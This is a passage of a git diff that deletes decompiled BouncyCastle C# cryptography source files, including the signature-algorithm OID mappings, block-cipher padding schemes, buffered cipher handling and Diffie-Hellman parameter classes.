-using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Crypto.Operators; - -internal class X509Utilities -{ - private static readonly Asn1Null derNull; - - private static readonly IDictionary algorithms; - - private static readonly IDictionary exParams; - - private static readonly ISet noParams; - - static X509Utilities() - { - derNull = DerNull.Instance; - algorithms = Platform.CreateHashtable(); - exParams = Platform.CreateHashtable(); - noParams = new HashSet(); - algorithms.Add("MD2WITHRSAENCRYPTION", PkcsObjectIdentifiers.MD2WithRsaEncryption); - algorithms.Add("MD2WITHRSA", PkcsObjectIdentifiers.MD2WithRsaEncryption); - algorithms.Add("MD5WITHRSAENCRYPTION", PkcsObjectIdentifiers.MD5WithRsaEncryption); - algorithms.Add("MD5WITHRSA", PkcsObjectIdentifiers.MD5WithRsaEncryption); - algorithms.Add("SHA1WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha1WithRsaEncryption); - algorithms.Add("SHA1WITHRSA", PkcsObjectIdentifiers.Sha1WithRsaEncryption); - algorithms.Add("SHA224WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha224WithRsaEncryption); - algorithms.Add("SHA224WITHRSA", PkcsObjectIdentifiers.Sha224WithRsaEncryption); - algorithms.Add("SHA256WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha256WithRsaEncryption); - algorithms.Add("SHA256WITHRSA", PkcsObjectIdentifiers.Sha256WithRsaEncryption); - algorithms.Add("SHA384WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha384WithRsaEncryption); - algorithms.Add("SHA384WITHRSA", PkcsObjectIdentifiers.Sha384WithRsaEncryption); - algorithms.Add("SHA512WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha512WithRsaEncryption); - algorithms.Add("SHA512WITHRSA", PkcsObjectIdentifiers.Sha512WithRsaEncryption); - algorithms.Add("SHA1WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA224WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA256WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA384WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA512WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("RIPEMD160WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160); - algorithms.Add("RIPEMD160WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160); - algorithms.Add("RIPEMD128WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128); - algorithms.Add("RIPEMD128WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128); - algorithms.Add("RIPEMD256WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256); - algorithms.Add("RIPEMD256WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256); - algorithms.Add("SHA1WITHDSA", X9ObjectIdentifiers.IdDsaWithSha1); - algorithms.Add("DSAWITHSHA1", X9ObjectIdentifiers.IdDsaWithSha1); - algorithms.Add("SHA224WITHDSA", NistObjectIdentifiers.DsaWithSha224); - algorithms.Add("SHA256WITHDSA", NistObjectIdentifiers.DsaWithSha256); - algorithms.Add("SHA384WITHDSA", NistObjectIdentifiers.DsaWithSha384); - algorithms.Add("SHA512WITHDSA", NistObjectIdentifiers.DsaWithSha512); - algorithms.Add("SHA1WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha1); - algorithms.Add("ECDSAWITHSHA1", X9ObjectIdentifiers.ECDsaWithSha1); - algorithms.Add("SHA224WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha224); - algorithms.Add("SHA256WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha256); - algorithms.Add("SHA384WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha384); - algorithms.Add("SHA512WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha512); - algorithms.Add("GOST3411WITHGOST3410", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - algorithms.Add("GOST3411WITHGOST3410-94", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - algorithms.Add("GOST3411WITHECGOST3410", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - algorithms.Add("GOST3411WITHECGOST3410-2001", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - algorithms.Add("GOST3411WITHGOST3410-2001", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha1); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha224); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha256); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha384); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha512); - noParams.Add(X9ObjectIdentifiers.IdDsaWithSha1); - noParams.Add(NistObjectIdentifiers.DsaWithSha224); - noParams.Add(NistObjectIdentifiers.DsaWithSha256); - noParams.Add(NistObjectIdentifiers.DsaWithSha384); - noParams.Add(NistObjectIdentifiers.DsaWithSha512); - noParams.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - noParams.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - AlgorithmIdentifier hashAlgId = new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1, DerNull.Instance); - exParams.Add("SHA1WITHRSAANDMGF1", CreatePssParams(hashAlgId, 20)); - AlgorithmIdentifier hashAlgId2 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha224, DerNull.Instance); - exParams.Add("SHA224WITHRSAANDMGF1", CreatePssParams(hashAlgId2, 28)); - AlgorithmIdentifier hashAlgId3 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha256, DerNull.Instance); - exParams.Add("SHA256WITHRSAANDMGF1", CreatePssParams(hashAlgId3, 32)); - AlgorithmIdentifier hashAlgId4 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha384, DerNull.Instance); - exParams.Add("SHA384WITHRSAANDMGF1", CreatePssParams(hashAlgId4, 48)); - AlgorithmIdentifier hashAlgId5 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha512, DerNull.Instance); - exParams.Add("SHA512WITHRSAANDMGF1", CreatePssParams(hashAlgId5, 64)); - } - - private static string GetDigestAlgName(DerObjectIdentifier digestAlgOID) - { - if (PkcsObjectIdentifiers.MD5.Equals(digestAlgOID)) - { - return "MD5"; - } - if (OiwObjectIdentifiers.IdSha1.Equals(digestAlgOID)) - { - return "SHA1"; - } - if (NistObjectIdentifiers.IdSha224.Equals(digestAlgOID)) - { - return "SHA224"; - } - if (NistObjectIdentifiers.IdSha256.Equals(digestAlgOID)) - { - return "SHA256"; - } - if (NistObjectIdentifiers.IdSha384.Equals(digestAlgOID)) - { - return "SHA384"; - } - if (NistObjectIdentifiers.IdSha512.Equals(digestAlgOID)) - { - return "SHA512"; - } - if (TeleTrusTObjectIdentifiers.RipeMD128.Equals(digestAlgOID)) - { - return "RIPEMD128"; - } - if (TeleTrusTObjectIdentifiers.RipeMD160.Equals(digestAlgOID)) - { - return "RIPEMD160"; - } - if (TeleTrusTObjectIdentifiers.RipeMD256.Equals(digestAlgOID)) - { - return "RIPEMD256"; - } - if (CryptoProObjectIdentifiers.GostR3411.Equals(digestAlgOID)) - { - return "GOST3411"; - } - return digestAlgOID.Id; - } - - internal static string GetSignatureName(AlgorithmIdentifier sigAlgId) - { - Asn1Encodable parameters = sigAlgId.Parameters; - if (parameters != null && !derNull.Equals(parameters)) - { - if (sigAlgId.Algorithm.Equals(PkcsObjectIdentifiers.IdRsassaPss)) - { - RsassaPssParameters instance = RsassaPssParameters.GetInstance(parameters); - return GetDigestAlgName(instance.HashAlgorithm.Algorithm) + "withRSAandMGF1"; - } - if (sigAlgId.Algorithm.Equals(X9ObjectIdentifiers.ECDsaWithSha2)) - { - Asn1Sequence instance2 = Asn1Sequence.GetInstance(parameters); - return GetDigestAlgName((DerObjectIdentifier)instance2[0]) + "withECDSA"; - } - } - return sigAlgId.Algorithm.Id; - } - - private static RsassaPssParameters CreatePssParams(AlgorithmIdentifier hashAlgId, int saltSize) - { - return new RsassaPssParameters(hashAlgId, new AlgorithmIdentifier(PkcsObjectIdentifiers.IdMgf1, hashAlgId), new DerInteger(saltSize), new DerInteger(1)); - } - - internal static DerObjectIdentifier GetAlgorithmOid(string algorithmName) - { - algorithmName = Platform.ToUpperInvariant(algorithmName); - if (algorithms.Contains(algorithmName)) - { - return (DerObjectIdentifier)algorithms[algorithmName]; - } - return new DerObjectIdentifier(algorithmName); - } - - internal static AlgorithmIdentifier GetSigAlgID(DerObjectIdentifier sigOid, string algorithmName) - { - if (noParams.Contains(sigOid)) - { - return new AlgorithmIdentifier(sigOid); - } - algorithmName = Platform.ToUpperInvariant(algorithmName); - if (exParams.Contains(algorithmName)) - { - return new AlgorithmIdentifier(sigOid, (Asn1Encodable)exParams[algorithmName]); - } - return new AlgorithmIdentifier(sigOid, DerNull.Instance); - } - - internal static IEnumerable GetAlgNames() - { - return new EnumerableProxy(algorithms.Keys); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/OutputLengthException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/OutputLengthException.cs deleted file mode 100644 index c1d88dc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/OutputLengthException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto; - -[Serializable] -public class OutputLengthException : DataLengthException -{ - public OutputLengthException() - { - } - - public OutputLengthException(string message) - : base(message) - { - } - - public OutputLengthException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/IBlockCipherPadding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/IBlockCipherPadding.cs deleted file mode 100644 index 7e4b087..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/IBlockCipherPadding.cs +++ /dev/null @@ -1,14 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Paddings; - -public interface IBlockCipherPadding -{ - string PaddingName { get; } - - void Init(SecureRandom random); - - int AddPadding(byte[] input, int inOff); - - int PadCount(byte[] input); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/ISO10126d2Padding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/ISO10126d2Padding.cs deleted file mode 100644 index 4f8f83e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/ISO10126d2Padding.cs +++ /dev/null @@ -1,37 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Paddings; - -public class ISO10126d2Padding : IBlockCipherPadding -{ - private SecureRandom random; - - public string PaddingName => "ISO10126-2"; - - public void Init(SecureRandom random) - { - this.random = ((random != null) ? random : new SecureRandom()); - } - - public int AddPadding(byte[] input, int inOff) - { - byte b = (byte)(input.Length - inOff); - while (inOff < input.Length - 1) - { - input[inOff] = (byte)random.NextInt(); - inOff++; - } - input[inOff] = b; - return b; - } - - public int PadCount(byte[] input) - { - int num = input[^1] & 0xFF; - if (num > input.Length) - { - throw new InvalidCipherTextException("pad block corrupted"); - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/ISO7816d4Padding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/ISO7816d4Padding.cs deleted file mode 100644 index ce70d6c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/ISO7816d4Padding.cs +++ /dev/null @@ -1,37 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Paddings; - -public class ISO7816d4Padding : IBlockCipherPadding -{ - public string PaddingName => "ISO7816-4"; - - public void Init(SecureRandom random) - { - } - - public int AddPadding(byte[] input, int inOff) - { - int result = input.Length - inOff; - input[inOff] = 128; - for (inOff++; inOff < input.Length; inOff++) - { - input[inOff] = 0; - } - return result; - } - - public int PadCount(byte[] input) - { - int num = input.Length - 1; - while (num > 0 && input[num] == 0) - { - num--; - } - if (input[num] != 128) - { - throw new InvalidCipherTextException("pad block corrupted"); - } - return input.Length - num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/PaddedBufferedBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/PaddedBufferedBlockCipher.cs deleted file mode 100644 index 3f247c9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/PaddedBufferedBlockCipher.cs +++ /dev/null @@ -1,151 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Paddings; - -public class PaddedBufferedBlockCipher : BufferedBlockCipher -{ - private readonly IBlockCipherPadding padding; - - public PaddedBufferedBlockCipher(IBlockCipher cipher, IBlockCipherPadding padding) - { - base.cipher = cipher; - this.padding = padding; - buf = new byte[cipher.GetBlockSize()]; - bufOff = 0; - } - - public PaddedBufferedBlockCipher(IBlockCipher cipher) - : this(cipher, new Pkcs7Padding()) - { - } - - public override void Init(bool forEncryption, ICipherParameters parameters) - { - base.forEncryption = forEncryption; - SecureRandom random = null; - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - random = parametersWithRandom.Random; - parameters = parametersWithRandom.Parameters; - } - Reset(); - padding.Init(random); - cipher.Init(forEncryption, parameters); - } - - public override int GetOutputSize(int length) - { - int num = length + bufOff; - int num2 = num % buf.Length; - if (num2 == 0) - { - if (forEncryption) - { - return num + buf.Length; - } - return num; - } - return num - num2 + buf.Length; - } - - public override int GetUpdateOutputSize(int length) - { - int num = length + bufOff; - int num2 = num % buf.Length; - if (num2 == 0) - { - return num - buf.Length; - } - return num - num2; - } - - public override int ProcessByte(byte input, byte[] output, int outOff) - { - int result = 0; - if (bufOff == buf.Length) - { - result = cipher.ProcessBlock(buf, 0, output, outOff); - bufOff = 0; - } - buf[bufOff++] = input; - return result; - } - - public override int ProcessBytes(byte[] input, int inOff, int length, byte[] output, int outOff) - { - if (length < 0) - { - throw new ArgumentException("Can't have a negative input length!"); - } - int blockSize = GetBlockSize(); - int updateOutputSize = GetUpdateOutputSize(length); - if (updateOutputSize > 0) - { - Check.OutputLength(output, outOff, updateOutputSize, "output buffer too short"); - } - int num = 0; - int num2 = buf.Length - bufOff; - if (length > num2) - { - Array.Copy(input, inOff, buf, bufOff, num2); - num += cipher.ProcessBlock(buf, 0, output, outOff); - bufOff = 0; - length -= num2; - inOff += num2; - while (length > buf.Length) - { - num += cipher.ProcessBlock(input, inOff, output, outOff + num); - length -= blockSize; - inOff += blockSize; - } - } - Array.Copy(input, inOff, buf, bufOff, length); - bufOff += length; - return num; - } - - public override int DoFinal(byte[] output, int outOff) - { - int blockSize = cipher.GetBlockSize(); - int num = 0; - if (forEncryption) - { - if (bufOff == blockSize) - { - if (outOff + 2 * blockSize > output.Length) - { - Reset(); - throw new OutputLengthException("output buffer too short"); - } - num = cipher.ProcessBlock(buf, 0, output, outOff); - bufOff = 0; - } - padding.AddPadding(buf, bufOff); - num += cipher.ProcessBlock(buf, 0, output, outOff + num); - Reset(); - } - else - { - if (bufOff != blockSize) - { - Reset(); - throw new DataLengthException("last block incomplete in decryption"); - } - num = cipher.ProcessBlock(buf, 0, buf, 0); - bufOff = 0; - try - { - num -= padding.PadCount(buf); - Array.Copy(buf, 0, output, outOff, num); - } - finally - { - Reset(); - } - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/Pkcs7Padding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/Pkcs7Padding.cs deleted file mode 100644 index 9892034..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/Pkcs7Padding.cs +++ /dev/null @@ -1,41 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Paddings; - -public class Pkcs7Padding : IBlockCipherPadding -{ - public string PaddingName => "PKCS7"; - - public void Init(SecureRandom random) - { - } - - public int AddPadding(byte[] input, int inOff) - { - byte b = (byte)(input.Length - inOff); - while (inOff < input.Length) - { - input[inOff] = b; - inOff++; - } - return b; - } - - public int PadCount(byte[] input) - { - byte b = input[^1]; - int num = b; - if (num < 1 || num > input.Length) - { - throw new InvalidCipherTextException("pad block corrupted"); - } - for (int i = 2; i <= num; i++) - { - if (input[^i] != b) - { - throw new InvalidCipherTextException("pad block corrupted"); - } - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/TbcPadding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/TbcPadding.cs deleted file mode 100644 index f1de18d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/TbcPadding.cs +++ /dev/null @@ -1,35 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Paddings; - -public class TbcPadding : IBlockCipherPadding -{ - public string PaddingName => "TBC"; - - public virtual void Init(SecureRandom random) - { - } - - public virtual int AddPadding(byte[] input, int inOff) - { - int result = input.Length - inOff; - byte b = ((inOff <= 0) ? ((byte)(((input[^1] & 1) == 0) ? 255u : 0u)) : ((byte)(((input[inOff - 1] & 1) == 0) ? 255u : 0u))); - while (inOff < input.Length) - { - input[inOff] = b; - inOff++; - } - return result; - } - - public virtual int PadCount(byte[] input) - { - byte b = input[^1]; - int num = input.Length - 1; - while (num > 0 && input[num - 1] == b) - { - num--; - } - return input.Length - num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/X923Padding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/X923Padding.cs deleted file mode 100644 index 2b97818..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/X923Padding.cs +++ /dev/null @@ -1,44 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Paddings; - -public class X923Padding : IBlockCipherPadding -{ - private SecureRandom random; - - public string PaddingName => "X9.23"; - - public void Init(SecureRandom random) - { - this.random = random; - } - - public int AddPadding(byte[] input, int inOff) - { - byte b = (byte)(input.Length - inOff); - while (inOff < input.Length - 1) - { - if (random == null) - { - input[inOff] = 0; - } - else - { - input[inOff] = (byte)random.NextInt(); - } - inOff++; - } - input[inOff] = b; - return b; - } - - public int PadCount(byte[] input) - { - int num = input[^1] & 0xFF; - if (num > input.Length) - { - throw new InvalidCipherTextException("pad block corrupted"); - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/ZeroBytePadding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/ZeroBytePadding.cs deleted file mode 100644 index e511b55..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Paddings/ZeroBytePadding.cs +++ /dev/null @@ -1,33 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Paddings; - -public class ZeroBytePadding : IBlockCipherPadding -{ - public string PaddingName => "ZeroBytePadding"; - - public void Init(SecureRandom random) - { - } - - public int AddPadding(byte[] input, int inOff) - { - int result = input.Length - inOff; - while (inOff < input.Length) - { - input[inOff] = 0; - inOff++; - } - return result; - } - - public int PadCount(byte[] input) - { - int num = input.Length; - while (num > 0 && input[num - 1] == 0) - { - num--; - } - return input.Length - num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/AeadParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/AeadParameters.cs deleted file mode 100644 index f73fadf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/AeadParameters.cs +++ /dev/null @@ -1,39 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Parameters; - -public class AeadParameters : ICipherParameters -{ - private readonly byte[] associatedText; - - private readonly byte[] nonce; - - private readonly KeyParameter key; - - private readonly int macSize; - - public virtual KeyParameter Key => key; - - public virtual int MacSize => macSize; - - public AeadParameters(KeyParameter key, int macSize, byte[] nonce) - : this(key, macSize, nonce, null) - { - } - - public AeadParameters(KeyParameter key, int macSize, byte[] nonce, byte[] associatedText) - { - this.key = key; - this.nonce = nonce; - this.macSize = macSize; - this.associatedText = associatedText; - } - - public virtual byte[] GetAssociatedText() - { - return associatedText; - } - - public virtual byte[] GetNonce() - { - return nonce; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/CcmParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/CcmParameters.cs deleted file mode 100644 index 23f675e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/CcmParameters.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Parameters; - -[Obsolete("Use AeadParameters")] -public class CcmParameters : AeadParameters -{ - public CcmParameters(KeyParameter key, int macSize, byte[] nonce, byte[] associatedText) - : base(key, macSize, nonce, associatedText) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHKeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHKeyGenerationParameters.cs deleted file mode 100644 index a09e921..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHKeyGenerationParameters.cs +++ /dev/null @@ -1,25 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DHKeyGenerationParameters : KeyGenerationParameters -{ - private readonly DHParameters parameters; - - public DHParameters Parameters => parameters; - - public DHKeyGenerationParameters(SecureRandom random, DHParameters parameters) - : base(random, GetStrength(parameters)) - { - this.parameters = parameters; - } - - internal static int GetStrength(DHParameters parameters) - { - if (parameters.L == 0) - { - return parameters.P.BitLength; - } - return parameters.L; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHKeyParameters.cs deleted file mode 100644 index e86aed0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHKeyParameters.cs +++ /dev/null @@ -1,59 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Pkcs; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DHKeyParameters : AsymmetricKeyParameter -{ - private readonly DHParameters parameters; - - private readonly DerObjectIdentifier algorithmOid; - - public DHParameters Parameters => parameters; - - public DerObjectIdentifier AlgorithmOid => algorithmOid; - - protected DHKeyParameters(bool isPrivate, DHParameters parameters) - : this(isPrivate, parameters, PkcsObjectIdentifiers.DhKeyAgreement) - { - } - - protected DHKeyParameters(bool isPrivate, DHParameters parameters, DerObjectIdentifier algorithmOid) - : base(isPrivate) - { - this.parameters = parameters; - this.algorithmOid = algorithmOid; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is DHKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(DHKeyParameters other) - { - if (object.Equals(parameters, other.parameters)) - { - return Equals((AsymmetricKeyParameter)other); - } - return false; - } - - public override int GetHashCode() - { - int num = base.GetHashCode(); - if (parameters != null) - { - num ^= parameters.GetHashCode(); - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHParameters.cs deleted file mode 100644 index 19a94b5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHParameters.cs +++ /dev/null @@ -1,153 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DHParameters : ICipherParameters -{ - private const int DefaultMinimumLength = 160; - - private readonly BigInteger p; - - private readonly BigInteger g; - - private readonly BigInteger q; - - private readonly BigInteger j; - - private readonly int m; - - private readonly int l; - - private readonly DHValidationParameters validation; - - public BigInteger P => p; - - public BigInteger G => g; - - public BigInteger Q => q; - - public BigInteger J => j; - - public int M => m; - - public int L => l; - - public DHValidationParameters ValidationParameters => validation; - - private static int GetDefaultMParam(int lParam) - { - if (lParam == 0) - { - return 160; - } - return System.Math.Min(lParam, 160); - } - - public DHParameters(BigInteger p, BigInteger g) - : this(p, g, null, 0) - { - } - - public DHParameters(BigInteger p, BigInteger g, BigInteger q) - : this(p, g, q, 0) - { - } - - public DHParameters(BigInteger p, BigInteger g, BigInteger q, int l) - : this(p, g, q, GetDefaultMParam(l), l, null, null) - { - } - - public DHParameters(BigInteger p, BigInteger g, BigInteger q, int m, int l) - : this(p, g, q, m, l, null, null) - { - } - - public DHParameters(BigInteger p, BigInteger g, BigInteger q, BigInteger j, DHValidationParameters validation) - : this(p, g, q, 160, 0, j, validation) - { - } - - public DHParameters(BigInteger p, BigInteger g, BigInteger q, int m, int l, BigInteger j, DHValidationParameters validation) - { - if (p == null) - { - throw new ArgumentNullException("p"); - } - if (g == null) - { - throw new ArgumentNullException("g"); - } - if (!p.TestBit(0)) - { - throw new ArgumentException("field must be an odd prime", "p"); - } - if (g.CompareTo(BigInteger.Two) < 0 || g.CompareTo(p.Subtract(BigInteger.Two)) > 0) - { - throw new ArgumentException("generator must in the range [2, p - 2]", "g"); - } - if (q != null && q.BitLength >= p.BitLength) - { - throw new ArgumentException("q too big to be a factor of (p-1)", "q"); - } - if (m >= p.BitLength) - { - throw new ArgumentException("m value must be < bitlength of p", "m"); - } - if (l != 0) - { - if (l >= p.BitLength) - { - throw new ArgumentException("when l value specified, it must be less than bitlength(p)", "l"); - } - if (l < m) - { - throw new ArgumentException("when l value specified, it may not be less than m value", "l"); - } - } - if (j != null && j.CompareTo(BigInteger.Two) < 0) - { - throw new ArgumentException("subgroup factor must be >= 2", "j"); - } - this.p = p; - this.g = g; - this.q = q; - this.m = m; - this.l = l; - this.j = j; - this.validation = validation; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is DHParameters other)) - { - return false; - } - return Equals(other); - } - - protected virtual bool Equals(DHParameters other) - { - if (p.Equals(other.p) && g.Equals(other.g)) - { - return object.Equals(q, other.q); - } - return false; - } - - public override int GetHashCode() - { - int num = p.GetHashCode() ^ g.GetHashCode(); - if (q != null) - { - num ^= q.GetHashCode(); - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHPrivateKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHPrivateKeyParameters.cs deleted file mode 100644 index 215a304..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHPrivateKeyParameters.cs +++ /dev/null @@ -1,50 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DHPrivateKeyParameters : DHKeyParameters -{ - private readonly BigInteger x; - - public BigInteger X => x; - - public DHPrivateKeyParameters(BigInteger x, DHParameters parameters) - : base(isPrivate: true, parameters) - { - this.x = x; - } - - public DHPrivateKeyParameters(BigInteger x, DHParameters parameters, DerObjectIdentifier algorithmOid) - : base(isPrivate: true, parameters, algorithmOid) - { - this.x = x; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is DHPrivateKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(DHPrivateKeyParameters other) - { - if (x.Equals(other.x)) - { - return Equals((DHKeyParameters)other); - } - return false; - } - - public override int GetHashCode() - { - return x.GetHashCode() ^ base.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHPublicKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHPublicKeyParameters.cs deleted file mode 100644 index eae1fee..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHPublicKeyParameters.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DHPublicKeyParameters 